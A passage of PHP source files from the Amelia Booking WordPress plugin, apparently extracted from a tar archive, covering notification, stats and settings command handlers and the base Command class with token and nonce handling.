$smsNotificationService->sendUndeliveredNotifications(); } if ($whatsAppNotificationService->checkRequiredFields()) { $whatsAppNotificationService->sendUndeliveredNotifications(); } /** @var Collection $payments */ $payments = $paymentRepository->getUncompletedActionsForPayments(); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get( $payment->getEntity()->getValue() ); BookingAddedEventHandler::handle( $reservationService->getReservationByPayment($payment), $this->container ); } /** @var Collection $bookings */ $bookings = $bookingRepository->getUncompletedActionsForBookings(); /** @var CustomerBooking $booking */ foreach ($bookings->getItems() as $booking) { /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get( $booking->getAppointmentId() ? Entities::APPOINTMENT : Entities::EVENT ); BookingAddedEventHandler::handle( $reservationService->getBookingResultByBookingId($booking->getId()->getValue()), $this->container ); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Email notifications successfully sent'); return $result; } } Commands/Notification/SendTestWhatsAppCommandHandler.php 0000666 00000011004 15165412624 0017450 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Notification\WhatsAppNotificationService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\NotificationSendTo; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Services\Notification\MailgunService; use AmeliaBooking\Infrastructure\Services\Notification\PHPMailService; use AmeliaBooking\Infrastructure\Services\Notification\SMTPService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class SendTestWhatsAppCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class SendTestWhatsAppCommandHandler extends CommandHandler { public $mandatoryFields = [ 'notificationTemplate', 'recipientWhatsApp' ]; /** * @param SendTestWhatsAppCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle(SendTestWhatsAppCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to send test whatsapp messages'); } $result = new CommandResult(); $this->checkMandatoryFields($command); $type = $command->getField('type'); /** @var WhatsAppNotificationService $whatsAppNotificationService */ $whatsAppNotificationService = $this->container->get('application.whatsAppNotification.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->getContainer()->get("application.placeholder.{$type}.service"); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); $notification = $whatsAppNotificationService->getById($command->getField('notificationTemplate')); if (!$whatsAppNotificationService->checkRequiredFields() || empty($notification)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('WhatsApp not enabled or required fields not filled'); return $result; } $dummyData = $placeholderService->getPlaceholdersDummyData('whatsapp'); $isForCustomer = $notification->getSendTo()->getValue() === NotificationSendTo::CUSTOMER; $placeholderStringRec = 'recurring' . 'Placeholders' . ($isForCustomer ? 'Customer' : '') . 'Sms'; $placeholderStringPack = 'package' . 'Placeholders' . ($isForCustomer ? 'Customer' : '') . 'Sms'; $recPh = str_replace(array("\n","\r"), '; ', $appointmentsSettings[$placeholderStringRec]); $packPh = str_replace(array("\n","\r"), '; ', $appointmentsSettings[$placeholderStringPack]); $recPh = preg_replace('!\s+!', ' ', $recPh); $packPh = preg_replace('!\s+!', ' ', $packPh); $dummyData['recurring_appointments_details'] = $placeholderService->applyPlaceholders($recPh, $dummyData); $dummyData['package_appointments_details'] = $placeholderService->applyPlaceholders($packPh, $dummyData); $response = $whatsAppNotificationService->sendTestNotification( $command->getField('recipientWhatsApp'), $notification, $dummyData ); if (!empty($response['error'])) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($response['error']); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Test whatsapp successfully sent'); return $result; } } Commands/Notification/GetSMSNotificationsHistoryCommand.php 0000666 00000000443 15165412624 0020174 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class GetSMSNotificationsHistoryCommand * * @package AmeliaBooking\Application\Commands\Notification */ class GetSMSNotificationsHistoryCommand extends Command { } Commands/Notification/WhatsAppWebhookRegisterCommand.php 0000666 00000000425 15165412624 0017531 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class WhatsAppWebhookCommand * * @package AmeliaBooking\Application\Commands\Notification */ class WhatsAppWebhookRegisterCommand extends Command { } Commands/Notification/SendTestEmailCommand.php 0000666 00000000411 15165412624 0015452 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class SendTestEmailCommand * * @package AmeliaBooking\Application\Commands\Notification */ class SendTestEmailCommand extends Command { } Commands/Notification/GetSMSNotificationsHistoryCommandHandler.php 0000666 00000004515 15165412624 0021476 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Collection\AbstractCollection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationSMSHistoryRepository; /** * Class GetSMSNotificationsHistoryCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class GetSMSNotificationsHistoryCommandHandler extends CommandHandler { /** * @param GetSMSNotificationsHistoryCommand $command * * @return CommandResult * @throws AccessDeniedException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetSMSNotificationsHistoryCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to read notifications'); } $result = new CommandResult(); /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $itemsPerPage = $settingsService->getSetting('general', 'itemsPerPage'); $params = $command->getField('params'); $notifications = $notificationsSMSHistoryRepo->getFiltered($params, $itemsPerPage); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved notifications.'); $result->setData([ Entities::NOTIFICATIONS => $notifications, 'countFiltered' => (int)$notificationsSMSHistoryRepo->getCount($params) ]); return $result; } } Commands/Command.php 0000666 00000015101 15165412624 0010404 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands; use AmeliaBooking\Application\Commands\Booking\Appointment\AddBookingCommand; use AmeliaBooking\Application\Commands\Booking\Appointment\SuccessfulBookingCommand; use AmeliaBooking\Application\Commands\Coupon\GetValidCouponCommand; use AmeliaBooking\Application\Commands\Google\FetchAccessTokenWithAuthCodeCommand; use AmeliaBooking\Application\Commands\Google\GetGoogleAuthURLCommand; use AmeliaBooking\Application\Commands\Notification\GetSMSNotificationsHistoryCommand; use AmeliaBooking\Application\Commands\Notification\WhatsAppWebhookCommand; use AmeliaBooking\Application\Commands\Notification\WhatsAppWebhookRegisterCommand; use AmeliaBooking\Application\Commands\Outlook\FetchAccessTokenWithAuthCodeOutlookCommand; use AmeliaBooking\Application\Commands\Payment\CalculatePaymentAmountCommand; use AmeliaBooking\Application\Commands\Payment\PaymentCallbackCommand; use AmeliaBooking\Application\Commands\Payment\PaymentLinkCommand; use AmeliaBooking\Application\Commands\PaymentGateway\MolliePaymentCommand; use AmeliaBooking\Application\Commands\PaymentGateway\MolliePaymentNotifyCommand; use AmeliaBooking\Application\Commands\PaymentGateway\PayPalPaymentCallbackCommand; use AmeliaBooking\Application\Commands\PaymentGateway\PayPalPaymentCommand; use AmeliaBooking\Application\Commands\PaymentGateway\WooCommercePaymentCommand; use AmeliaBooking\Application\Commands\PaymentGateway\RazorpayPaymentCommand; use AmeliaBooking\Application\Commands\Stats\AddStatsCommand; use AmeliaBooking\Application\Commands\User\Customer\ReauthorizeCommand; use AmeliaBooking\Application\Commands\User\LoginCabinetCommand; use AmeliaBooking\Application\Commands\User\LogoutCabinetCommand; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\WP\SettingsService\SettingsStorage; use Slim\Http\Request; /** * Class Command * * @package AmeliaBooking\Application\Commands */ abstract class Command { protected $args; protected $container; private $fields = []; public $token; private $page; private $cabinetType; /** * Command constructor. * * @param $args */ public function __construct($args) { $this->args = $args; if (isset($args['type'])) { $this->setField('type', $args['type']); } } /** * @return mixed */ public function getArgs() { return $this->args; } /** * @param mixed $arg Argument to be fetched * * @return null */ public function getArg($arg) { return isset($this->args[$arg]) ? $this->args[$arg] : null; } /** * @param $fieldName * @param $fieldValue */ public function setField($fieldName, $fieldValue) { $this->fields[$fieldName] = $fieldValue; } /** * @param $fieldName */ public function removeField($fieldName) { unset($this->fields[$fieldName]); } /** * Return a single field * * @param $fieldName * * @return mixed|null */ public function getField($fieldName) { return isset($this->fields[$fieldName]) ? $this->fields[$fieldName] : null; } /** * Return all fields * * @return array */ public function getFields() { return $this->fields; } /** * Set Token * * @param Request $request */ public function setToken($request) { $headers = $request->getHeaders(); $token = null; /** @var SettingsService $settingsService */ $settingsService = new SettingsService(new SettingsStorage()); if (isset($headers['HTTP_AUTHORIZATION'][0]) && ($values = explode(' ', $request->getHeaders()['HTTP_AUTHORIZATION'][0])) && sizeof($values) === 2 && $settingsService->getSetting('roles', 'enabledHttpAuthorization') ) { $token = $values[1]; } else if (isset($headers['HTTP_COOKIE'][0])) { foreach (explode('; ', $headers['HTTP_COOKIE'][0]) as $cookie) { if (($ameliaTokenCookie = explode('=', $cookie)) && $ameliaTokenCookie[0] === 'ameliaToken') { $token = $ameliaTokenCookie[1]; } } } $this->token = $token; } /** * Return Token * * @return string|null */ public function getToken() { return $this->token; } /** * Set page * * @param string $page */ public function setPage($page) { $this->page = explode('-', $page)[0]; $this->cabinetType = explode('-', $page)[1]; } /** * Return page * * @return string|null */ public function getPage() { return $this->page; } /** * @param $request * @return string|null */ public function validateNonce($request) { if ($request->getMethod() === 'POST' && !self::getToken() && !($this instanceof CalculatePaymentAmountCommand) && !($this instanceof ReauthorizeCommand) && !($this instanceof LoginCabinetCommand) && !($this instanceof LogoutCabinetCommand) && !($this instanceof AddBookingCommand) && !($this instanceof AddStatsCommand) && !($this instanceof GetValidCouponCommand) && !($this instanceof MolliePaymentCommand) && !($this instanceof MolliePaymentNotifyCommand) && !($this instanceof PayPalPaymentCommand) && !($this instanceof PayPalPaymentCallbackCommand) && !($this instanceof RazorpayPaymentCommand) && !($this instanceof WooCommercePaymentCommand) && !($this instanceof PaymentCallbackCommand) && !($this instanceof SuccessfulBookingCommand) && !($this instanceof GetGoogleAuthURLCommand) && !($this instanceof FetchAccessTokenWithAuthCodeOutlookCommand) && !($this instanceof FetchAccessTokenWithAuthCodeCommand) && !($this instanceof WhatsAppWebhookRegisterCommand) && !($this instanceof WhatsAppWebhookCommand) && !($this instanceof GetSMSNotificationsHistoryCommand) && !($this instanceof PaymentLinkCommand) ) { return wp_verify_nonce($request->getQueryParams()['ameliaNonce'], 'ajax-nonce'); } return true; } /** * Return cabinet type * * @return string|null */ public function getCabinetType() { return $this->cabinetType; } } Commands/Stats/GetStatsCommandHandler.php 0000666 00000016401 15165412624 0014463 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stats; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Stats\StatsService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetStatsCommandHandler * * @package AmeliaBooking\Application\Commands\Stats */ class GetStatsCommandHandler extends CommandHandler { /** * @param GetStatsCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception * @throws ContainerException */ public function handle(GetStatsCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::DASHBOARD)) { throw new AccessDeniedException('You are not allowed to read coupons.'); } $result = new CommandResult(); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var StatsService $statsAS */ $statsAS = $this->container->get('application.stats.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var PackageApplicationService $packageAS */ $packageAS = $this->container->get('application.bookable.package'); $startDate = $command->getField('params')['dates'][0] . ' 00:00:00'; $endDate = $command->getField('params')['dates'][1] . ' 23:59:59'; $previousPeriodStart = DateTimeService::getCustomDateTimeObject($startDate); $previousPeriodEnd = DateTimeService::getCustomDateTimeObject($endDate); $numberOfDays = $previousPeriodEnd->diff($previousPeriodStart)->days + 1; $serviceStatsParams = ['dates' => [$startDate, $endDate]]; $customerStatsParams = ['dates' => [$startDate, $endDate]]; $locationStatsParams = ['dates' => [$startDate, $endDate]]; $employeeStatsParams = ['dates' => [$startDate, $endDate]]; $appointmentStatsParams = ['dates' => [$startDate, $endDate], 'status' => BookingStatus::APPROVED]; // Statistic $selectedPeriodStatistics = $statsAS->getRangeStatisticsData($appointmentStatsParams); $previousPeriodStatistics = $statsAS->getRangeStatisticsData( array_merge( $appointmentStatsParams, [ 'dates' => [ $previousPeriodStart->modify("-{$numberOfDays} day")->format('Y-m-d H:i:s'), $previousPeriodEnd->modify("-{$numberOfDays} day")->format('Y-m-d H:i:s'), ] ] ) ); // Charts $customersStats = $statsAS->getCustomersStats($customerStatsParams); $employeesStats = $statsAS->getEmployeesStats($employeeStatsParams); $servicesStats = $statsAS->getServicesStats($serviceStatsParams); $locationsStats = $statsAS->getLocationsStats($locationStatsParams); /** @var Collection $periodAppointments */ $periodAppointments = $appointmentRepo->getPeriodAppointments( [ 'dates' => [ DateTimeService::getNowDateTime(), ], 'page' => 1 ], 10 ); /** @var Collection $upcomingAppointments */ $upcomingAppointments = $periodAppointments->length() ? $appointmentRepo->getFiltered( array_merge( [ 'ids' => $periodAppointments->keys(), 'skipProviders' => true, ] ) ) : new Collection(); $currentDateTime = DateTimeService::getNowDateTimeObject(); $upcomingAppointmentsArr = []; $todayApprovedAppointmentsCount = 0; $todayPendingAppointmentsCount = 0; $todayDateString = explode(' ', DateTimeService::getNowDateTime())[0]; $packageAS->setPackageBookingsForAppointments($upcomingAppointments); /** @var Appointment $appointment */ foreach ($upcomingAppointments->getItems() as $appointment) { if ($appointment->getBookingStart()->getValue()->format('Y-m-d') === $todayDateString) { if ($appointment->getStatus()->getValue() === BookingStatus::APPROVED) { $todayApprovedAppointmentsCount++; } if ($appointment->getStatus()->getValue() === BookingStatus::PENDING) { $todayPendingAppointmentsCount++; } } $minimumCancelTimeInSeconds = $settingsDS ->getEntitySettings($appointment->getService()->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToCanceling(); $minimumCancelTime = DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify("-{$minimumCancelTimeInSeconds} seconds"); $upcomingAppointmentsArr[] = array_merge( $appointment->toArray(), [ 'cancelable' => $currentDateTime <= $minimumCancelTime, 'past' => $currentDateTime >= $appointment->getBookingStart()->getValue() ] ); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved appointments.'); $result->setData( [ 'count' => [ 'approved' => $todayApprovedAppointmentsCount, 'pending' => $todayPendingAppointmentsCount, ], 'selectedPeriodStats' => $selectedPeriodStatistics, 'previousPeriodStats' => $previousPeriodStatistics, 'employeesStats' => $employeesStats, 'servicesStats' => $servicesStats, 'locationsStats' => $locationsStats, 'customersStats' => $customersStats, Entities::APPOINTMENTS => $upcomingAppointmentsArr, 'appointmentsCount' => 10 ] ); return $result; } } Commands/Stats/AddStatsCommandHandler.php 0000666 00000003135 15165412624 0014434 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stats; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Stats\StatsService; /** * Class AddStatsCommandHandler * * @package AmeliaBooking\Application\Commands\Stats */ class AddStatsCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'providerId', 'serviceId' ]; /** * @param AddStatsCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException */ public function handle(AddStatsCommand $command) { $result = new CommandResult(); /** @var StatsService $statsAS */ $statsAS = $this->container->get('application.stats.service'); $this->checkMandatoryFields($command); $statsAS->addEmployeesViewsStats($command->getField('providerId')); $statsAS->addServicesViewsStats($command->getField('serviceId')); $statsAS->addLocationsViewsStats($command->getField('locationId')); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added stats.'); return $result; } } Commands/Stats/AddStatsCommand.php 0000666 00000000536 15165412624 0013140 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stats; use AmeliaBooking\Application\Commands\Command; /** * Class AddStatsCommand * * @package AmeliaBooking\Application\Commands\Stats */ class AddStatsCommand extends Command { } Commands/Stats/GetStatsCommand.php 0000666 00000000536 15165412624 0013167 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stats; use AmeliaBooking\Application\Commands\Command; /** * Class GetStatsCommand * * @package AmeliaBooking\Application\Commands\Stats */ class GetStatsCommand extends Command { } Commands/Settings/GetSettingsCommand.php 0000666 00000000375 15165412624 0014374 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Settings; use AmeliaBooking\Application\Commands\Command; /** * Class GetSettingsCommand * * @package AmeliaBooking\Application\Commands\Settings */ class GetSettingsCommand extends Command { } Commands/Settings/GetSettingsCommandHandler.php 0000666 00000003072 15165412624 0015667 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Settings; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Settings\SettingsService; use Interop\Container\Exception\ContainerException; /** * Class GetSettingsCommandHandler * * @package AmeliaBooking\Application\Commands\Settings */ class GetSettingsCommandHandler extends CommandHandler { /** * @return CommandResult * @throws ContainerException * @throws AccessDeniedException */ public function handle() { $result = new CommandResult(); if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::SETTINGS)) { throw new AccessDeniedException('You are not allowed to read settings.'); } /** @var SettingsService $settingsService */ $settingsService = $this->getContainer()->get('domain.settings.service'); $settings = $settingsService->getAllSettingsCategorized(); if ($settings['activation']['purchaseCodeStore'] !== '' && $settings['activation']['active']) { $settings['activation']['purchaseCodeStore'] = null; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved settings.'); $result->setData( [ 'settings' => $settings ] ); return $result; } } Commands/Settings/UpdateSettingsCommandHandler.php 0000666 00000103611 15165412624 0016372 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Settings; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Location\CurrentLocation; use AmeliaBooking\Application\Services\Stash\StashApplicationService; use AmeliaBooking\Domain\Services\Location\CurrentLocationInterface; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Services\Frontend\LessParserService; use AmeliaBooking\Infrastructure\Services\LessonSpace\LessonSpaceService; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; use Exception; use Interop\Container\Exception\ContainerException; use Less_Exception_Parser; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateSettingsCommandHandler * * @package AmeliaBooking\Application\Commands\Settings */ class UpdateSettingsCommandHandler extends CommandHandler { /** * @param UpdateSettingsCommand $command * * @return CommandResult * @throws AccessDeniedException * @throws Less_Exception_Parser * @throws ContainerValueNotFoundException * @throws ContainerException * @throws Exception */ public function handle(UpdateSettingsCommand $command) { $result = new CommandResult(); if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SETTINGS)) { /** @var AbstractUser $loggedInUser */ $loggedInUser = $this->container->get('logged.in.user'); if (!$loggedInUser || !( $loggedInUser->getType() === AbstractUser::USER_ROLE_ADMIN || $loggedInUser->getType() === AbstractUser::USER_ROLE_MANAGER ) ) { throw new AccessDeniedException('You are not allowed to write settings.'); } } /** @var SettingsService $settingsService */ $settingsService = $this->getContainer()->get('domain.settings.service'); /** @var CurrentLocationInterface $locationService */ $locationService = $this->getContainer()->get('application.currentLocation.service'); /** @var LessParserService $lessParserService */ $lessParserService = $this->getContainer()->get('infrastructure.frontend.lessParser.service'); $settingsFields = $command->getFields(); if ($command->getField('customization')) { $customizationData = $command->getField('customization'); $globalColors = $customizationData['globalColors']; if (isset($settingsFields['customization']['forms']) && $settingsFields['customization']['forms']) { $settingsService->fixCustomization($settingsFields['customization']); } //Sbs - Step by step $useGlobalSbs = $customizationData['useGlobalColors']['stepByStepForm']; $colorSbsSsf = $customizationData['forms']['stepByStepForm']['selectServiceForm']['globalSettings']; $colorSbsCf = $customizationData['forms']['stepByStepForm']['calendarDateTimeForm']['globalSettings']; $colorSbsRsf = $customizationData['forms']['stepByStepForm']['recurringSetupForm']['globalSettings']; $colorSbsRdf = $customizationData['forms']['stepByStepForm']['recurringDatesForm']['globalSettings']; $colorSbsCaf = $customizationData['forms']['stepByStepForm']['confirmBookingForm']['appointment']['globalSettings']; $colorSbsCoa = $customizationData['forms']['stepByStepForm']['congratulationsForm']['appointment']['globalSettings']; $colorSbsSpf = $customizationData['forms']['stepByStepForm']['selectPackageForm']['globalSettings']; $colorSbsPif = $customizationData['forms']['stepByStepForm']['packageInfoForm']['globalSettings']; $colorSbsPsf = $customizationData['forms']['stepByStepForm']['packageSetupForm']['globalSettings']; $colorSbsPlf = $customizationData['forms']['stepByStepForm']['packageListForm']['globalSettings']; $colorSbsCpf = $customizationData['forms']['stepByStepForm']['confirmBookingForm']['package']['globalSettings']; $colorSbsCop = $customizationData['forms']['stepByStepForm']['congratulationsForm']['package']['globalSettings']; // Cf - Catalog form $useGlobalCf = $customizationData['useGlobalColors']['catalogForm']; $colorCfSsf = $customizationData['forms']['catalogForm']['selectServiceForm']['globalSettings']; $colorCfCf = $customizationData['forms']['catalogForm']['calendarDateTimeForm']['globalSettings']; $colorCfRsf = $customizationData['forms']['catalogForm']['recurringSetupForm']['globalSettings']; $colorCfRdf = $customizationData['forms']['catalogForm']['recurringDatesForm']['globalSettings']; $colorCfCaf = $customizationData['forms']['catalogForm']['confirmBookingForm']['appointment']['globalSettings']; $colorCfCoa = $customizationData['forms']['catalogForm']['congratulationsForm']['appointment']['globalSettings']; $colorCfPsf = $customizationData['forms']['catalogForm']['packageSetupForm']['globalSettings']; $colorCfPlf = $customizationData['forms']['catalogForm']['packageListForm']['globalSettings']; $colorCfCpf = $customizationData['forms']['catalogForm']['confirmBookingForm']['package']['globalSettings']; $colorCfCop = $customizationData['forms']['catalogForm']['congratulationsForm']['package']['globalSettings']; // Elf - Event list form $useGlobalElf = $customizationData['useGlobalColors']['eventListForm']; $colorElf = $customizationData['forms']['eventListForm']['globalSettings'] ; // Ecf - Event calendar form $useGlobalEcf = $customizationData['useGlobalColors']['eventCalendarForm']; $colorEcfCef = $customizationData['forms']['eventCalendarForm']['confirmBookingForm']['event']['globalSettings']; $colorEcfCoe = $customizationData['forms']['eventCalendarForm']['congratulationsForm']['event']['globalSettings']; $hasCustomFont = !empty($customizationData['customFontSelected']) && $customizationData['customFontSelected'] === 'selected'; $hash = $lessParserService->compileAndSave( [ 'color-accent' => $globalColors['primaryColor'], 'color-white' => $globalColors['textColorOnBackground'], 'color-text-prime' => $globalColors['formTextColor'], 'color-text-second' => $globalColors['formTextColor'], 'color-bgr' => $globalColors['formBackgroundColor'], 'color-gradient1' => $globalColors['formGradientColor1'], 'color-gradient2' => $globalColors['formGradientColor2'], 'color-dropdown' => $globalColors['formDropdownColor'], 'color-dropdown-text' => $globalColors['formDropdownTextColor'], 'color-input' => $globalColors['formInputColor'], 'color-input-text' => $globalColors['formInputTextColor'], 'font' => !empty($customizationData['font']) ? $customizationData['font'] : '', 'custom-font-selected' => $hasCustomFont ? 'selected' : 'unselected', 'font-url' => !empty($customizationData['fontUrl']) ? $customizationData['fontUrl'] : '', // step by step 'sbs-ssf-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsSsf['formBackgroundColor'], 'sbs-ssf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsSsf['formTextColor'], 'sbs-ssf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsSsf['formInputColor'], 'sbs-ssf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsSsf['formInputTextColor'], 'sbs-ssf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsSsf['formDropdownColor'], 'sbs-ssf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsSsf['formDropdownTextColor'], 'sbs-cf-gradient1' => $useGlobalSbs ? $globalColors['formGradientColor1'] : $colorSbsCf['formGradientColor1'], 'sbs-cf-gradient2' => $useGlobalSbs ? $globalColors['formGradientColor2'] : $colorSbsCf['formGradientColor2'], 'sbs-cf-gradient-angle' => $useGlobalSbs ? $globalColors['formGradientAngle'].'deg' : $colorSbsCf['formGradientAngle'].'deg', 'sbs-cf-text-color' => $useGlobalSbs ? $globalColors['textColorOnBackground'] : $colorSbsCf['formTextColor'], 'sbs-rsf-gradient1' => $useGlobalSbs ? $globalColors['formGradientColor1'] : $colorSbsRsf['formGradientColor1'], 'sbs-rsf-gradient2' => $useGlobalSbs ? $globalColors['formGradientColor2'] : $colorSbsRsf['formGradientColor2'], 'sbs-rsf-gradient-angle' => $useGlobalSbs ? $globalColors['formGradientAngle'].'deg' : $colorSbsRsf['formGradientAngle'].'deg', 'sbs-rsf-text-color' => $useGlobalSbs ? $globalColors['textColorOnBackground'] : $colorSbsRsf['formTextColor'], 'sbs-rsf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsRsf['formInputColor'], 'sbs-rsf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsRsf['formInputTextColor'], 'sbs-rsf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsRsf['formDropdownColor'], 'sbs-rsf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsRsf['formDropdownTextColor'], 'sbs-rdf-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsRdf['formBackgroundColor'], 'sbs-rdf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsRdf['formTextColor'], 'sbs-rdf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsRdf['formInputColor'], 'sbs-rdf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsRdf['formInputTextColor'], 'sbs-rdf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsRdf['formDropdownColor'], 'sbs-rdf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsRdf['formDropdownTextColor'], 'sbs-caf-bgr-color' => $useGlobalSbs ? 